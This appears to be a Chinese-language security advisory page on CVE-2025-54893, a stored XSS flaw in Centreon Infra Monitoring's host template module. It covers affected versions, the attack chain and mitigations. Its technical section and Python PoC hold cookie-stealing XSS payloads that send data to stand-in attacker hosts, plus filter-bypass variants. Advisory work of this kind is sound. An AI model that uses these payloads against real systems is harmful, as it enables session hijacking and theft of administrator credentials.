IPBUF安全漏洞报告
English
CVE-2025-54893 CVSS 6.8 中危

CVE-2025-54893 Centreon Infra Monitoring存储型XSS漏洞

披露日期: 2025-10-14
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-54893
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Centreon Infra Monitoring(主机模板配置模块)

相关标签

XSS存储型XSSStored XSS跨站脚本CentreonInfra Monitoring监控平台主机模板Web安全CVE-2025-54893

漏洞概述

CVE-2025-54893是Centreon Infra Monitoring监控平台主机模板配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于OWASP Top 10中典型的注入类安全问题。

Centreon是法国Centreon公司开发的一款开源企业级IT基础设施监控软件,广泛用于服务器、网络设备、应用程序等IT资源的统一监控和管理。该平台提供丰富的配置管理功能,其中主机模板(Hosts Templates)配置模块允许管理员定义可复用的监控模板,用于批量配置被监控的主机。

该漏洞允许具有提升权限的用户(PR:H)在主机模板配置模块中注入恶意的JavaScript脚本或HTML代码。由于是存储型XSS,恶意载荷会被持久化保存到数据库中,当其他用户(包括具有更高权限的管理员)访问受影响的页面时,恶意脚本将在其浏览器中自动执行。

根据CVSS 3.1评分向量,该漏洞的评分为6.8分,属于中危级别。虽然攻击需要高权限(PR:H),但成功利用后可导致高机密性影响(C:H),攻击者可能窃取管理员会话、获取敏感配置信息、执行未授权操作等。漏洞影响范围涵盖Centreon Infra Monitoring 23.10.0至23.10.28以下版本、24.04.0至24.04.18以下版本以及24.10.0至24.10.13以下版本。

技术细节

该漏洞的根本原因在于Centreon Infra Monitoring主机模板配置模块在处理用户输入数据时,未对输入内容进行充分的过滤和转义处理,导致恶意脚本能够被存储到后端数据库中。

从技术层面分析,漏洞利用流程如下:

1. **输入点识别**:攻击者首先定位主机模板配置模块中未经过滤的输入字段,如模板名称、描述、别名、备注等可编辑字段。这些字段接受用户输入的文本内容,但服务端在存储前未进行HTML/JS特殊字符的转义处理。

2. **恶意载荷构造**:攻击者构造包含JavaScript代码的恶意载荷,典型的XSS载荷如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`,或使用事件处理器如`<img src=x onerror=fetch('https://attacker.com/?data='+document.cookie)>`。

3. **载荷注入**:具有提升权限的认证用户通过正常配置流程将恶意载荷提交到主机模板配置中。由于缺乏输出编码,服务端直接将原始输入存储到数据库。

4. **触发执行**:当其他用户(尤其是管理员)查看受感染的主机模板列表或详情页面时,服务器从数据库读取存储的数据并直接渲染到HTML页面中,浏览器解析执行嵌入的恶意脚本。

5. **影响达成**:恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、CSRF令牌等敏感信息,或以受害者权限执行管理操作。由于Centreon是监控平台,攻击者还可能获取监控数据、修改监控配置、访问被监控系统的凭据等。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N,表明通过网络即可利用、攻击复杂度低、需要高权限、无需用户交互、影响范围可变化、对机密性影响高。

攻击链分析

STEP 1
步骤1:获取权限
攻击者通过社会工程学、内部威胁或其他方式获取Centreon平台具有提升权限的用户账号(如管理员或具有模板配置权限的操作员账号)
STEP 2
步骤2:定位注入点
攻击者登录系统后,进入主机模板(Hosts Templates)配置模块,识别未经过滤处理的输入字段,如模板名称、别名、描述等
STEP 3
步骤3:构造恶意载荷
攻击者构造包含JavaScript代码的XSS载荷,用于窃取Cookie、会话令牌或执行特权操作,载荷经过变体处理以绕过可能的简单过滤
STEP 4
步骤4:注入并存储
通过正常的模板创建/编辑流程将恶意载荷提交,服务端未进行HTML实体编码直接将数据存储到数据库中
STEP 5
步骤5:等待触发
当其他用户(特别是管理员)访问主机模板列表或详情页面时,恶意脚本从数据库中读取并在受害者浏览器中自动执行
STEP 6
步骤6:数据窃取与权限提升
恶意脚本窃取受害者会话Cookie或以受害者权限执行操作,攻击者利用窃取的会话获得更高权限,访问敏感监控数据、系统凭据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54893 - Centreon Infra Monitoring Stored XSS PoC # Vulnerability: Stored XSS in Hosts Templates Configuration Module # Affected: Centreon 24.10.0-24.10.12, 24.04.0-24.04.17, 23.10.0-23.10.27 import requests TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to Centreon with elevated privileges session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(f"{TARGET_URL}/centreon/api/latest/login", data=login_payload) # Step 2: Navigate to Hosts Templates configuration module # Step 3: Inject malicious JavaScript payload into a template field (e.g., template name/alias/description) malicious_payload = '<script>fetch("https://attacker.example.com/steal?cookie="+document.cookie+"&data="+btoa(document.body.innerHTML))</script>' # Payload variants that bypass basic filters: payload_variants = [ # Variant 1: Direct script tag f'<script>fetch("https://attacker.com/?c="+document.cookie)</script>', # Variant 2: IMG tag with onerror event '<img src=x onerror="fetch(\'https://attacker.com/?c=\'+document.cookie)">', # Variant 3: SVG with onload '<svg onload="fetch(\'https://attacker.com/?c=\'+document.cookie)">', # Variant 4: Input with autofocus and onfocus '<input onfocus="fetch(\'https://attacker.com/?c=\'+document.cookie)" autofocus>', ] # Step 4: Submit the malicious template configuration template_payload = { "name": malicious_payload, "alias": "Legitimate Template Name", "description": payload_variants[1], "hostgroups": "", "contacts": "", "contact_groups": "" } # POST request to create/update host template with XSS payload response = session.post( f"{TARGET_URL}/centreon/main.php?p=60103", data=template_payload ) # Step 5: When an admin views the hosts templates page, # the stored XSS payload executes in their browser context, # exfiltrating session cookies and sensitive data to attacker server print(f"XSS payload stored. Status: {response.status_code}") print("Waiting for admin to view the template page to trigger the exploit...") # Attacker server receives: # GET https://attacker.com/steal?cookie=<admin_session_cookie>&data=<base64_encoded_page_content>

影响范围

Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)严格限制主机模板配置模块的访问权限,仅允许必要的可信管理员操作;2)定期审查主机模板配置中的可疑内容,手动清理可能的恶意载荷;3)部署Web应用防火墙(WAF)规则,过滤常见的XSS攻击向量;4)启用HTTP Only Cookie标志,防止JavaScript窃取会话令牌;5)实施内容安全策略(CSP),限制内联脚本执行;6)监控异常的会话活动和未授权的配置变更;7)对所有特权用户实施多因素认证(MFA),降低账号被盗用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表